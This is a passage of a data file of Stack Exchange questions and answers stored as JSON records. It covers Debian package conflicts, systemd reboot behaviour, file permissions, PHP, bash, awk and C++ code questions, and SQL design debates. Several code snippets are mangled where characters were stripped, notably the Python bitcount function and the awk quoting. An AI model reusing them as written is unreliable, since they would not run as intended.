(PLDI-1994):61-72.Daniel J. Magenheimer, Liz Peters, Karl W. Peters, and Dan Zuras, Integer Multiplication and Division on the HP Precision Architecture, IEEE T. Comp., 37(8):980-990, August 1988." } { "id": "_unix.349347" , "question": "I execute: sudo apt-get dist-upgrade and I get this:Reading Package Lists ... DoneBuilding the dependency treeReading status information ... DoneCalculation of the update ... Some packages can not be installed. This may meanThat you have asked for the impossible, or if youUnstable distribution, which some packages have not yetHave been created or have not been released from Incoming.The following information should help you resolve the situation:The following packages contain unsatisfied dependencies: Systemd: Break: rdnssd (<1.0.1-5) but 1.0.1-1 + b1 must be installedE: Error, pkgProblem :: Resolve generated breaks, which could be caused by the packages to be kept as is.OUTPUT apt-cache policy rdnssd Dmicaelandre @ ThinkPad: ~ $ apt-cache policy rdnssdrdnssd: Installed: 1.0.1-1+b1 Candidate: 1.0.3-3 Version table: 1.0.3-3 0 650 http://ftp2.fr.debian.org/debian/ stretch/main amd64 Packages *** 1.0.1-1+b1 0 100 /var/lib/dpkg/statusOUTPUT apt-cache policy100 /var/lib/dpkg/status release a=now 500 http://security.debian.org/ stretch/updates/non-free Translation-en 500 http://security.debian.org/ stretch/updates/main Translation-en 500 http://security.debian.org/ stretch/updates/contrib Translation-en 650 http://security.debian.org/ stretch/updates/non-free i386 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=non-free origin security.debian.org 650 http://security.debian.org/ stretch/updates/contrib i386 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=contrib origin security.debian.org 650 http://security.debian.org/ stretch/updates/main i386 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=main origin security.debian.org 650 http://security.debian.org/ stretch/updates/non-free amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=non-free origin security.debian.org 650 http://security.debian.org/ stretch/updates/contrib amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=contrib origin security.debian.org 650 http://security.debian.org/ stretch/updates/main amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian-Security,c=main origin security.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free i386 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=non-free origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib i386 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=contrib origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main i386 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=main origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free amd64 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=non-free origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib amd64 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=contrib origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main amd64 Packages release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=main origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch/non-free Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch/main Translation-fr 500 http://ftp2.fr.debian.org/debian/ stretch/main Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch/contrib Translation-en 650 http://ftp2.fr.debian.org/debian/ stretch/non-free i386 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=non-free origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/contrib i386 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=contrib origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/main i386 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=main origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/non-free amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=non-free origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/contrib amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=contrib origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/main amd64 Packages release o=Debian,a=testing,n=stretch,l=Debian,c=main origin ftp2.fr.debian.org" , "title": "I can't upgrade Debian 9" , "tags": "debian;upgrade" } { "id": "_unix.293284" , "question": "i would like to learn and work on internet security, because thia is a world that is in continuos change and id like to improve myself on it..anyone can help me linking site or PDF where i can study this fantastic world?" , "title": "Learn the base of security and defend myself from external attack" , "tags": "linux;networking;security;osx;windows" , "accepted_answer": "You could follow and Watch CEH Channel on YoutubeInstall Kali Linux/BackTrack/BlackBuntu and get started with basic tools installed in these operating systemsThis document could be of some use." } { "id": "_webmaster.38778" , "question": "I'm renting server space from someone and, upon logging in my control panel after quite sometime, noticed an abnormal spike (~50MB) in the disk usage. Upon investigating, I found a lot of core.* files scattered around my public_html directory. Each one is more than 5MB in size but no more than 6MB. The * part is all numbers (in programming regex, that should be core\\.\\d+).I downloaded one and checked the contents. There was a lot of balderdash characters (NUL mostly, but also a scattering of ETB, ETX, STX) but there's this block of readable text which says:This text is part of the internal format of your mail folder, and is nota real message. It is created automatically by the mail system software.If deleted, important folder data will be lost, and it will be re-createdwith the data reset to initial values.Pretty self-explanatory. A few blocks above the text are some more readable messages that look like logs but is sandwiched in between non printable characters. I've extracted some below.Scan not valid for mh mailboxesBogus character 0x%x in news stateCan't rewrite news state %.80sError closing backup news state %.80sNo state for newsgroup %.80s foundNow, a few concerns: Am I under attack? The messages seem to be about my webmail but I don't use my personal webmail that much---only for a vanity email address and an inbox for an outdated comments system. However, lately, I seem to notice a spike in the spam for my vanity mail. (Note: the comments system is covered by a captcha but every now and then some get through. My vanity email has a spam filter but it isn't as good as I'd like).Next, if this is a feature, can I turn it off? Is it advisable to? I've only 150MB so you see why I'm fretting over a 50MB spike.Some final details: my only server-side scripts are in PHP. The directory which accumulated the most number of these core files is the one containing the Wordpress-managed subdomain of my site. I manage my server through CPanel. Lastly, I decided to delete this files and after some checking nothing seems amiss in my websites nor in my mail. They are indeed the ones responsible for the ~50MB spike as my disk space usage is back to expected." , "title": "core.* files eating up server space (~50MB)" , "tags": "php;cpanel;mailing list;webmail" , "accepted_answer": "Core files contain the image of the process' memory at the time of its termination (i.e. when it crashed). They can be used to inspect the state of the program when it was terminated.If you're seeing lots of them and they are recreated fast, I would invest some time in debugging which specific program crashed and why. It's probably not a good thing it crashed so it might be worth to look after them.If you don't see many of them, it's safe to delete them.Core Dump on Wikipedia" } { "id": "_webapps.73196" , "question": "I am looking for a way to add up cells under a name. For instance, I am trying to tally all of the assists the character Annie got in a few different games of League of Legends. I am looking for a way to search for a name (which shows up multiple times) and then count adjacent cells." , "title": "How to add adjacent cells in Google Sheets" , "tags": "google spreadsheets" } { "id": "_datascience.1053" , "question": "I would like to summarize (as in R) the contents of a CSV (possibly after loading it, or storing it somewhere, that's not a problem). The summary should contain the quartiles, mean, median, min and max of the data in a CSV file for each numeric (integer or real numbers) dimension. The standard deviation would be cool as well.I would also like to generate some plots to visualize the data, for example 3 plots for the 3 pairs of variables that are more correlated (correlation coefficient) and 3 plots for the 3 pairs of variables that are least correlated.R requires only a few lines to implement this. Are there any libraries (or tools) that would allow a similarly simple (and efficient if possible) implementation in Java or Scala?PD: This is a specific use case for a previous (too broad) question." , "title": "Summarize and visualize a CSV in Java/Scala?" , "tags": "tools;visualization;scala;csv" } { "id": "_cs.68549" , "question": "let's say L is a regular language.And there in an NFA automata with epsilon moves A,in which for every accepting state (q,)=.How can I prove that there must be an automata A as defined for L?" , "title": "NFA automata with moves proof" , "tags": "automata;finite automata;proof techniques" } { "id": "_unix.381739" , "question": "There are two documented differences between start reboot.target and reboot. But start reboot.target is what is triggered by ctrl-alt-del.target.Does it matter that ctrl-alt-del.target will omit --job-mode=replace-irreversibly? In what situations will this cause different behaviour? Why is it included by systemctl reboot?man systemctlreboot [arg]Shut down and reboot the system. This is mostly equivalent to start reboot.target --job-mode=replace-irreversibly, but also prints a wall message to all users.man systemd.specialctrl-alt-del.target: systemd starts this target whenever Control+Alt+Del is pressed on the console. Usually, this should be aliased (symlinked) to reboot.target." , "title": "What is the practical difference between `systemctl start reboot.target` and `systemctl reboot`?" , "tags": "systemd;reboot" , "accepted_answer": "When queuing a new job, this option controls how to deal with already queued jobs. It takes one of fail, replace, replace-irreversibly, isolate, ignore-dependencies, ignore-requirements or flush. Defaults to replace, except when the isolate command is used which implies the isolate job mode.If fail is specified and a requested operation conflicts with a pending job (more specifically: causes an already pending start job to be reversed into a stop job or vice versa), cause the operation to fail.If replace (the default) is specified, any conflicting pending job will be replaced, as necessary.If replace-irreversibly is specified, operate like replace, but also mark the new jobs as irreversible. This prevents future conflicting transactions from replacing these jobs (or even being enqueued while the irreversible jobs are still pending). Irreversible jobs can still be cancelled using the cancel command.This suggests a practical effect. Suppose you hook units into the sleep state logic, using sleep.target to pull them in. Your hook units do not have DefaultDependencies=no, so they depend on sysinit.target... and Conflict with shutdown.target.If you run systemctl start reboot.target and then immediately systemctl start suspend.target, it seems that your hook unit will stop shutdown.target. Now systemd-reboot.service has Requires=shutdown.target, so it should be stopped/cancelled as well. (umount.target should not be cancelled).I have verified a difference in behaviour along these lines and reported it as a defect in the systemd issue tracker." } { "id": "_unix.64848" , "question": "Can someone explain why I get permission denied when running touch -m on this file even though it is group writable and I can write to the file fine.~/test1-> iduid=1000(plyons) gid=1000(plyons) groups=1000(plyons),4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1002(webadmin)~/test1-> ls -ld .; ls -ldrwxrwxr-x 2 plyons plyons 4096 Feb 14 21:20 .total 4-r--rw---- 1 www-data webadmin 24 Feb 14 21:29 foo~/test1-> echo the file is writable >> foo~/test1-> touch -m footouch: setting times of `foo': Operation not permitted~/test1-> lsattr foo -------------e- foo~/test1-> newgrp - webadmin ~/test1-> iduid=1000(plyons) gid=1002(webadmin) groups=1000(plyons),4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1002(webadmin)~/test1-> touch -m footouch: setting times of `foo': Operation not permitted~/test1-> echo the file is writable >> foo~/test1-> " , "title": "cannot touch -m a writable file" , "tags": "filesystems;permissions" , "accepted_answer": "From man utime: The utime() system call changes the access and modification times of the inode specified by filename to the actime and modtime fields of times respectively. If times is NULL, then the access and modification times of the file are set to the current time. Changing timestamps is permitted when: either the process has appropri ate privileges, or the effective user ID equals the user ID of the file, or times is NULL and the process has write permission for the file.So, to change only the modification time for the file (touch -m foo), you'd need to either be root, or the owner of the file.Being able to write to the file only gives you permission to update both the modified and access times to the current time; you can not update either separately, nor set them to a different time." } { "id": "_codereview.163043" , "question": "In this question here on S.O, the accepted answer suggests to use both anonymous function and factory pattern for dealing with PDO connection. I believe the anonymous function is used in case a connection to a different database needs to be established, a different function will be defined for that. In that case, will it be alright to move the anonymous function to the factory class itself? With this approach just passing the PDO parameters to the constructor will achieve the same as the original answer.Something like:class StructureFactory{ protected $provider = null; protected $connection = null; public function __construct( $PDO_Params ) { $this->provider = function() { $instance = new PDO($PDO_Params[dsn], $PDO_Params[username], $PDO_Params[password]); $instance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $instance->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); return $instance; }; } public function create( $name) { if ( $this->connection === null ) { $this->connection = call_user_func( $this->provider ); } return new $name( $this->connection ); }}" , "title": "PDO anonymous function inside a Factory" , "tags": "php;object oriented;pdo;factory method" , "accepted_answer": "TL;DR: no.The construction that is shown in the original example provided the following functionality:decoupling from MySQL (you dont, need disable emulation of prepared statements, if you are not using mysql, and you usually dont need to provide username and password with SQLite)option to use MySQLi or SOAP or any other DAL without rewriting the factory (see OCP)replacing PDO with a mock object, when running unit testsa way to alter the anonymous function, so that you can share the same PDO instance among multiple factories (when appropriate changes added)establishing a connection to data source, only when it is necessary (connecting to SOAP can be really slow, and RDBMS under heavy load can actually run out of connections that can be opened) " } { "id": "_cs.77062" , "question": "I'm trying to understand the paper Incentive Compatibility ofBitcoin Mining Pool Reward Functions (Schrijvers, Bonneau, Doneh and Roughgarden, in Financial Cryptography and DataSecurity – FC 2016 Workshops, BITCOIN, 2016; PDF).In page 3 Section 2.1, they say pool operator does not know actual $\\alpha_i$ mining power of player $i$. To estimate $\\alpha_i$ depends on the reported shares and solutions.A reward function $ R\\colon H \\mapsto [0,1]^n$ is a function from a history transcript to an allocation $ \\{a_i\\}_{i=0} ^ {n} $ with $ \\sum_i a_i =1 $. I don't understand this? What allocation does the authors mean?What I somewhat understand from next para is $ H(k) = b = (y_1(k), \\cdots, y_i(k) ) $ where $y_i(k)$ is no of shares reported by player $i$ in round $k$.This I am basing on $H$ contains for each miner $i$ the total no of shares $b_i$ reported in that round. History transcript is given by a vector $b \\in N^n $.Also what do they mean when they say We use vector notation for $b$, so $b_1 + b_2 $ means component wise addition of these, and $\\|b\\|_1 = \\sum_{i=1}^n b_i $ is the sum of components of $b$Could someone explain with examples or in a more concrete way ?Also any suggestions for understanding this paper would be much appreciated. Thanks." , "title": "Understanding Incentive Compatibility of pooled Bitcoin Mining paper" , "tags": "algorithms;cryptography;game theory;one way functions" } { "id": "_unix.147203" , "question": "I'm very new in bash scripting and unix so I will need some help on this.I have 7-10 hosts which I want to ping from one of the servers via cronjobs. What I want is when host is up to execute command on it. When is down do nothing. I don't want logs or any messages.So far I have this and unfortunately don't have ability to try it right now. If you can just check it and point me.#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )for i in ${servers[@]}do ping -c 1 $i > /dev/null doneping -c 1 $i > /dev/nullif [ $? -ne 0 ]; then if [ $STATUS >= 2 ]; then echo fielse while [ $STATUS <= 1 ]; do # command should be here where is status 1 ( i.e. Alive ) /usr/bin/snmptrap -v 2c -c public ... donefiI'm not sure if this is right or no. I've used this from one tutorial and there is some things that I'm not sure what they exactly do.Am I on right way here or I'm totaly wrong?" , "title": "Ping multiple hosts and execute command" , "tags": "shell;ping;hosts" , "accepted_answer": "I've made some comments in line to explain what different parts of the script are doing. I've then made a concise version of the script below.#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )# As is, this bit doesn't do anything. It just pings each server one time # but doesn't save the outputfor i in ${servers[@]}do ping -c 1 $i > /dev/null # done# done marks the end of the for-loop. You don't want it to end yet so I# comment it out# You've already done this above so I'm commenting it out#ping -c 1 $i > /dev/null # $? is the exit status of the previous job (in this case, ping). 0 means # the ping was successful, 1 means not successful. # so this statement reads If the exit status ($?) does not equal (-ne) zero if [ $? -ne 0 ]; then # I can't make sense of why this is here or what $STATUS is from # You say when the host is down you want it to do nothing so let's do # nothing #if [ $STATUS >= 2 ]; then # echo #fi true else # I still don't know what $STATUS is #while [ $STATUS <= 1 ]; #do # command should be here where is status 1 ( i.e. Alive ) /usr/bin/snmptrap -v 2c -c public ... #done fi# Now we end the for-loop from the topdoneIf you need a parameter for each server, create an array of parameters and an index variable in the for-loop. Access the parameter via the index:#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )params=(PARAM1 PARAM2 PARAM3 PARAM4 PARAM5 PARAM6 PARAM7)n=0for i in ${servers[@]}; do ping -c 1 $i > /dev/null if [ $? -eq 0 ]; then /usr/bin/snmptrap -v 2c -c public ${params[$n]} ... fi let $((n+=1)) # increment n by onedone" } { "id": "_unix.301962" , "question": "I'm writing kinda virtual keyboard using uinput and during looking into what all should I put intoioctl(fd, UI_SET_KEYBIT, ???);I found input-event-codes.h. Some constants there are pretty self-explanatory (KEY_1, KEY_D, ...), but some are a bit more cryptic.Is there anywhere documentation where those keycodes are listed and explained? I tried google, but BTN_TRIGGER_HAPPY didn't lead me to anywhere useful :/ What is this keycode useful for?PS: If there is complete list somewhere, that would be nice, there is a few more quite interesting (KEY_HIRAGANA? KEY_102ND? ...)." , "title": "What is BTN_TRIGGER_HAPPY?" , "tags": "input;header file" , "accepted_answer": "There is documentation here, quite a lot of it too. Happy is close to joy, and this association is supported by the following search result:I wouldn't expect every event to have a strict definition. But there's a note in input-event-codes.h stating:/* * Keys and buttons * * Most of the keys/buttons are modeled after USB HUT 1.12 * (see http://www.usb.org/developers/hidpage). * Abbreviations in the comments: * AC - Application Control * AL - Application Launch Button * SC - System Control */" } { "id": "_codereview.158574" , "question": "I've written a function to convert an image into characters and colors for the windows console. At the moment the calculation takes about 13 seconds with a 700x700 pixel image but that time is undesirable especially when I plan on making the function more complex in order to account for character shapes.What are some methods to speed up heavy calculations and loops like below in C++? I've been recommended multiple threads, SIMD, and inline assembly but how would I go about improving a function like below with those methods?This is the current code I'm using.unsigned char characterValues[256] = { 0 };// This operation can be done ahead of time when the program is started up{ ResourceInputStream in = ResourceInputStream(); // This image is the font for the console. The background color is black while the foreground color is white in.open(BMP_FONT, 2); // 2 is for RT_BITMAP, BMP_FONT is a resource if (in.isOpen()) { auto bmp = readBitmap(&in, true); in.close(); for (int x = 0; x < bmp->size.x; x++) { for (int y = 0; y < bmp->size.y; y++) { int charIndex = (x / 8) + (y / 12) * 16; if (bmp->pixels[x][y].r == 255) characterValues[charIndex]++; } } }}// This operation is for asciifying the image{ FileInputStream in = FileInputStream(); in.open(R(image-path.bmp)); if (in.isOpen()) { auto bmp = readBitmap(&in, false); in.close(); // The size of the image in characters Point2I imageSize = (Point2I)GMath::ceil((Point2F)bmp->size / Point2F(8.0f, 12.0f)); int totalImageSize = imageSize.x * imageSize.y; auto palette = /* get palette of 16 colors here */ // Iterate through each (character area) for (int imgx = 0; imgx < imageSize.x; imgx++) { for (int imgy = 0; imgy < imageSize.y; imgy++) { // Read image color value int r = 0, g = 0, b = 0; int totalRead = 0; // Read each pixel inside the bounds of a single character // 8x12 is the size of a character for (int px = 0; px < 8; px++) { for (int py = 0; py < 12; py++) { Point2I p = Point2I(imgx * 8 + px, imgy * 12 + py); if (p < bmp->size) { r += bmp->pixels[p.x][p.y].r; g += bmp->pixels[p.x][p.y].g; b += bmp->pixels[p.x][p.y].b; totalRead++; } } } Color imageValue = Color(r / totalRead, g / totalRead, b / totalRead); // A combo of a character and foreground/background color Pixel closestPixel = Pixel(); float closestScore = std::numeric_limits().max(); for (int col = 1; col < 255; col++) { unsigned char f = getFColor(col); unsigned char b = getBColor(col); for (int ch = 1; ch < 255; ch++) { // Calculate values Color value = Color( (palette[f].r * characterValues[ch] + palette[b].r * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE, (palette[f].g * characterValues[ch] + palette[b].g * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE, (palette[f].b * characterValues[ch] + palette[b].b * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE ); Color fvalue = Color( (palette[f].r * characterValues[ch]) / TOTAL_CHARACTER_VALUE, (palette[f].g * characterValues[ch]) / TOTAL_CHARACTER_VALUE, (palette[f].b * characterValues[ch]) / TOTAL_CHARACTER_VALUE ); Color bvalue = Color( (palette[b].r * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE, (palette[b].g * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE, (palette[b].b * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE ); // Add up score here float score = (float)((int)value.r - (int)imageValue.r) * (float)((int)value.r - (int)imageValue.r) + (float)((int)value.g - (int)imageValue.g) * (float)((int)value.g - (int)imageValue.g) + (float)((int)value.b - (int)imageValue.b) * (float)((int)value.b - (int)imageValue.b) + (float)((int)fvalue.r - (int)imageValue.r) * (float)((int)fvalue.r - (int)imageValue.r) + (float)((int)fvalue.g - (int)imageValue.g) * (float)((int)fvalue.g - (int)imageValue.g) + (float)((int)fvalue.b - (int)imageValue.b) * (float)((int)fvalue.b - (int)imageValue.b) + (float)((int)bvalue.r - (int)imageValue.r) * (float)((int)bvalue.r - (int)imageValue.r) + (float)((int)bvalue.g - (int)imageValue.g) * (float)((int)bvalue.g - (int)imageValue.g) + (float)((int)bvalue.b - (int)imageValue.b) * (float)((int)bvalue.b - (int)imageValue.b); // More if (score < closestScore) { closestPixel = Pixel((unsigned char)ch, (unsigned char)col); closestScore = score; } } } // Set the character/color combo here } } }}As a bonus, this is the result of my calculation. There's definitely room for improvement with the scoring but at least you can see the shape and colors." , "title": "Convert an image into characters and colors for the windows console" , "tags": "c++;time limit exceeded;image;console;windows" } { "id": "_unix.192884" , "question": "What worked for other packages, doesn't work for kernel. Why?First, sync:[git@dioptase SRPMS]$ ssh root@localhost yum-builddep /home/git/rpmbuild/SRPMS/kernel-2.6.32-431.el6.src.rpmGetting requirements for kernel-2.6.32-431.el6.src --> Already installed : module-init-tools-3.9-21.el6_4.x86_64 --> Already installed : patch-2.6-6.el6.x86_64 --> Already installed : bash-4.1.2-15.el6_4.x86_64 --> Already installed : coreutils-8.4-31.el6.x86_64 --> Already installed : 2:tar-1.23-11.el6.x86_64 --> Already installed : bzip2-1.0.5-7.el6_0.x86_64 --> Already installed : 1:findutils-4.4.2-6.el6.x86_64 --> Already installed : gzip-1.3.12-19.el6_4.x86_64 --> Already installed : m4-1.4.13-5.el6.x86_64 --> Already installed : 4:perl-5.10.1-136.el6.x86_64 --> Already installed : 1:make-3.81-20.el6.x86_64 --> Already installed : diffutils-2.8.1-28.el6.x86_64 --> Already installed : gawk-3.1.7-10.el6.x86_64 --> Already installed : gcc-4.4.7-4.el6.x86_64 --> Already installed : binutils-2.20.51.0.2-5.36.el6.x86_64 --> Already installed : redhat-rpm-config-9.0.3-42.el6.noarch --> Already installed : net-tools-1.60-110.el6_2.x86_64 --> Already installed : patchutils-0.3.1-3.1.el6.x86_64 --> Already installed : rpm-build-4.8.0-37.el6.x86_64 --> Already installed : xmlto-0.0.23-3.el6.x86_64 --> Already installed : asciidoc-8.4.5-4.1.el6.noarch --> Already installed : gnupg2-2.0.14-6.el6_4.x86_64 --> Already installed : python-2.6.6-51.el6.x86_64 --> Already installed : hmaccalc-0.9.12-1.el6.x86_64No uninstalled build requiresThen build:[git@dioptase SRPMS]$ rpmbuild --rebuild kernel-2.6.32-431.el6.src.rpmInstalling kernel-2.6.32-431.el6.src.rpmwarning: user mockbuild does not exist - using rootwarning: group mockbuild does not exist - using rooterror: Failed build dependencies: elfutils-libelf-devel is needed by kernel-2.6.32-431.el6.x86_64 elfutils-devel is needed by kernel-2.6.32-431.el6.x86_64 binutils-devel is needed by kernel-2.6.32-431.el6.x86_64 newt-devel is needed by kernel-2.6.32-431.el6.x86_64 python-devel is needed by kernel-2.6.32-431.el6.x86_64 audit-libs-devel is needed by kernel-2.6.32-431.el6.x86_64" , "title": "Why doesn't yum-builddep install all dependencies?" , "tags": "rhel;yum;rpm" , "accepted_answer": "Because they are arch dependent. Either rebuild the .src.rpm on the arch. you care about (the one in the source repos. is built on a random supported arch), or download and unpuck the .src.rpm and yum-buildep on the kernel.spec." } { "id": "_softwareengineering.171024" , "question": "It's an idea I've heard repeated in a handful of places. Some more or less acknowledging that once trying to solve a problem purely in SQL exceeds a certain level of complexity you should indeed be handling it in code.The logic behind the idea is that for the large majority of cases, the database engine will do a better job at finding the most efficient way of completing your task than you could in code. Especially when it comes to things like making the results conditional on operations performed on the data. Arguably with modern engines effectively JIT'ing + caching the compiled version of your query it'd make sense on the surface.The question is whether or not leveraging your database engine in this way is inherently bad design practice (and why). The lines become blurred further when all the logic exists inside the database and you're just hitting it via an ORM." , "title": "Never do in code what you can get the SQL server to do well for you - Is this a recipe for a bad design?" , "tags": "design patterns;sql" , "accepted_answer": "In layman's words:These are things that SQL is made to do and, believe it or not, I've seen done in code:joins - codewise it'd require complex array manipulationfiltering data (where) - codewise it'd require heavy inserting and deleting of items in listsselecting columns - codewise it'd require heavy list or array manipulationaggregate functions - codewise it'd require arrays to hold values and complex switch casesforeign key integrity - codewise it'd require queries prior to insert and assumes nobody will use the data outside appprimary key integrity - codewise it'd require queries prior to insert and assumes nobody will use the data outside appDoing these things instead of relying in SQL or the RDBMS leads to writing tons of code with no added value, meaning more code to debug and maintain. And it dangerously assumes the database will only be accessed via the application." } { "id": "_unix.349074" , "question": "I have this code where the cmd usually works if I sprintf something to it, but when I try to run my Rscript, it does not work. Any hints?I get the error:awk: cmd. line:9: cmd = Rscript ./date-script-r.r $1 3 2 1;awk: cmd. line:9: ^ syntax errorawk: cmd. line:9: cmd = Rscript ./date-script-r.r $1 3 2 1;awk: cmd. line:9: ^ unterminated regexpCode:awk=/usr/bin/awkawkcommand='#d is the delimiterBEGIN { OFS = FS = d }$1 { #Expected args for the Rscript: (1, 2, 3, 4) = (dateString, yearPosition, monthPosition, dayPosition) cmd = Rscript ./date-script-r.r $1 3 2 1; cmd | getline $1; print; close(cmd);}awk -v d=, $awkcommand output-data/$filename > output-data/tmp.csvExample of R-script output:Rscript date-script-r.r 17-12-12 1 2 312-12-2017" , "title": "Running R project script with arguments within AWK in a Bash Script (Ubuntu Linux)" , "tags": "bash;awk;r" , "accepted_answer": "replacecmd = Rscript ./date-script-r.r $1 3 2 1;bycmd = Rscript ./date-script-r.r $1 3 2 1 ;for complex awk script it might be better to put them in a awk-script, e.g. date-awk.awk$1 { #Expected args for the Rscript: (1, 2, 3, 4) = (dateString, yearPosition, monthPosition, dayPosition) cmd = Rscript ./date-script-r.r $1 3 2 1; cmd | getline $1; print; close(cmd);}that you would call withawk -F, -f date-awk.awk output-data/$filename > output-data/tmp.csvnote that-F, will set , as separator, there is no need for a relay variable.I expect this is part of a bigger scheme, or self tutorial. (there are easier way to compute date in shell or in awk)." } { "id": "_codereview.11181" , "question": "How can I improve this code for counting the number of bits of a positive integer n in Python?def bitcount(n): a = 1 while 1<1: a >>= 1 if n >= 1<>= a s += a if n>0: s += 1 return s" , "title": "Counting the number of bits of a positive integer" , "tags": "python;algorithm;bitwise" } { "id": "_softwareengineering.356153" , "question": "I am refactoring an application that collects and displays measurement data that is stored in a database. Currently I have an interface calleIMeasurementsDataService and an implementation MeasurementsDataServicepublic interface IMeasurementsDataService{ IEnumerable GetResults(DateTime rangeStart, DateTime rangeEnd); void AddResult(MeasurementResult result); void ModifyResult(MeasurementResult result); void DeleteMeasurement(MeasurementResult result);}Since the service is not used continiously, each method creates a DbContext instance and disposes it when finshed. For example the add method looks like this: public void AddResult(MeasurementResult newResult){ using (var context = new MeasurementsDbContext()) { ... context.SaveChanges(); }}I am injecting a singleton instance of MeasurementsDataService to some ViewModels and create Mocks of IMeasurementsDataService for unit tests.But now I want to add a new method to IMeasurementsDataService and want to also add unit tests. Until now I have used a local SQL server database that I always clear and prefill with some data before each unit test and then use the real MeasurementsDbContextto perform the test operations. But this approach is very time consuming and I would prefer to also mock the DbContext and provide some data directly from code. But when I change the code and inject the DbContext to the MeasurementsDataService, the DbContext lives through the whole livetime of the application what I consider as bad practise. Creating a new instance of IMeasurementsDataService every time I need it also seems not a solution because than I loose the ability to unit test the ViewModels properly. I am thinking of providing some kind of MeasurementDataServiceFactory to the ViewModels, that creates instances of the data service when requested and can be mocked to provide some different data service for testing. The the data service can have a DbContext per instance.Do you think this is a good solution or does anyone has a better and easier to handle solution to inject data services to view models and contexts to data services without having a DbContext living for the whole application runtime?" , "title": "C# EntityFramework 6 DbContext and data service with dependency injection" , "tags": "c#;unit testing;dependency injection;class design;entity framework" } { "id": "_webapps.88129" , "question": "Is it possible to prevent YouTube's (HTML5) fullscreen player controls from showing whenever it first goes into fullscreen mode?Like, don't show this automatically (at all):I want it to still show if I move the mouse, as it does now.I couldn't find anything in about:config on Firefox about this, only settings to disable the fullscreen button and the 'this page is now in fullscreen' warning." , "title": "Hide player controls while fullscreen in YouTube" , "tags": "youtube" } { "id": "_unix.2645" , "question": "I read uses of the word utilities for commands/programs such as 'ls', 'chmod', 'mv', etc.Is commands is Linux referring to the same things as top, ps, etc., or are those something different? What about programs? Are those the ones that don't come with the standard distribution which need to be installed like irssi, emacs, kismet, etc.?" , "title": "Difference between references of Linux utilities, commands and programs" , "tags": "command line;utilities;terminology" , "accepted_answer": "This question is hard to answer, as there is no formal definitions of those terms and different people will use them differently. I here only give my use of them, others will have different points if view.For me tool and utility are synonyms. I use the words for small programs which just do one small job. I'd call e.g. all applications implemented as applets in busybox tools or utility.Any application is a program for me. I.e. 'ls' is a tool, a utility and a program. Firefox is a program but I wouldn't call it neither tool nor utility." } { "id": "_unix.88281" , "question": "I want to check connectivity between 2 servers (i.e. if ssh will succeed).The main idea is to check the shortest way between server-a and server-b using a list of middle servers (for example if I'm on dev server and I want to connect to prod server - usually a direct ssh will fail).Because this can take a while, I prefer not to use SSH - rather I prefer to check first if I can connect and if so then try to connect through SSH.Some possible routes to get the idea:server-a -> server-bserver-a -> middle-server-1 -> server-bserver-a -> middle-server-6 -> server-bserver-a -> middle-server-3 -> middle-server-2 -> server-bHope you understand what I'm looking for?" , "title": "Method to check connectivity to other server" , "tags": "linux;networking;ssh" , "accepted_answer": "For checking server connectivity you have 4 tools at your disposal.pingThis will check to see if any of the servers you're attempting to connect through, but won't be able to see if middle-server-1 can reach server-b, for example.You can gate how long ping will attempt to ping another server through the use of the count switch (-c). Limiting it to 1 should 